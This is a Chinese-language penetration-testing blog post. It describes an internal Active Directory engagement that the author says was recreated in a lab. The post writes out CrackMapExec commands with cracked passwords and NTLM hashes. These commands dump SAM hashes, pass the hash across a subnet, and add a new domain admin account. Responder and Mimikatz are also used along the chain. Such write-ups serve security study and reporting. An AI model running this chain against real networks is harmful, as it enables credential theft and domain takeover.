如何从活动目录域外的机器拿到域控权限
这是在我博客中第一篇非web类的文章,我是一个传统的web开发人员,web安全是从事安全方面的出发点。但是从我进入渗透测试行业开始,我就被这个行业深深吸引,从兼职一步步做到了全职的渗透测试工程师,活动目录域是我最喜欢的渗透测试类型。
这篇文章是关于我在今年早些为客户做的内部渗透测试,因为之前已经测试过,了解到这个客户的网络环境相当复杂,所以开始的时候很忐忑会测试不成功。
我在内网中做的第一件事就是运行Responder工具,会从本地网络中的LLMNR或者NETBIOS请求中获取到Windows hash。但是客户还是比较有安全意识的,他们已经禁用了LLMNR以及NetBIOS请求。尽管在之前的测试中已经了解到了这一点,但是我还是抱有一份希望,因为在OSCP课程中学到了总要先从尝试简单的方法开始,如果门开着,你从天窗进去那岂不是多此一举。
于是我执行了Responder,我竟然捕捉到了一台机器的hash!
当然,我肯定不会在博客中公开客户的私密信息,因此你看到所有内容都是我在实验室内重新搭建环境复现出来的,并且一些隐私信息已经隐藏。
上图中可以看到172.16.157.133这一主机给我们呈现出了FRONTDESK用户的NETNTLMv2 hash。使用Crack Map Exec检查NetBIOS信息,进而确定这是不是本地用户的hash,用户名的域部分为:
[sourcecode language="plain"][SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK[/sourcecode]
即2-FD-87622应与主机的NetBIOS名称匹配(如果是这种情况)。使用CME查找IP,我们可以看到主机的名称匹配.
所以我们下一步要做的就是尝试破解这一hash,然后得到这一用户的明文密码。使用hashcat进行破解,很快出了结果:
现在我们已经获得了前台机器的登陆凭证,现在使用这一凭证进行攻击这台机器:
[sourcecode language="plain"]cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth[/sourcecode]
上图中可以看到”Pwn3d”已经输出,这就意味着我们已经获取到了本地的管理员账户。这就意味着我们已经有了获取本地用户hash的权限:
[sourcecode language="plain"]cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam[/sourcecode]
可以看到已经得到了本地用户的hash:
[sourcecode language="plain"]FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f:::[/sourcecode]
这次我们看到的密码的是NTLM hash值,而不是之前Responder获取的NETNTLMv2 “挑战/响应”hash。Responder通过网络流量捕获hash和windows存储在SAM中的hash是不同的。
下一步就是使用这一管理员的散列对客户的主机进行“哈希传递攻击”,而不是对这一hash进行破解。
[sourcecode language="plain"]cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth[/sourcecode]
我们只能使用存储的NTLM哈希进行传递,而不是使用NETNTLMv2格式的hash。
令我们比较惊讶的是,本地管理员账户在STEWIE机器上登录上去了。查询这一主机的BIOS信息:
[sourcecode language="plain"]
$ cme smb 172.16.157.134
SMB 172.16.157.134 445 STEWIE
[*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE)
(signing:False) (SMBv1:True)
[/sourcecode]
我们可以看到这台机器是MACFARLANE域中的一员,而且这一个域是客户的主域。
所以我们通过一个本地无域机器的管理员密码进入到域内一个机器。现在使用Metasploit中的PsExec登陆这台机器,将NTLM哈希作为密码填写上去:
一旦执行,我们就会得到shell:
然后使用Mimikatz模块从windows内存中获取密码:
上图中我们已经得到了域管理员的密码,最后,我们使用CME在域控制器上执行命令,将自己添加为一个域管理员。
[sourcecode language="plain"]cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add'[/sourcecode]
注意/y参数的含义是让windows允许你添加超过14个字符的密码。
远程桌面到域控制器的屏幕截图可以作为利用证据写入到报告中:
因此如果第一台拿下的机器加入到域中,那么它将会禁用掉LLMNR通信,并且我们不会获得hash值,然后这次渗透测试就不会成功~这就是文章开始的问题,为什么所有的机器要加入域中的答案。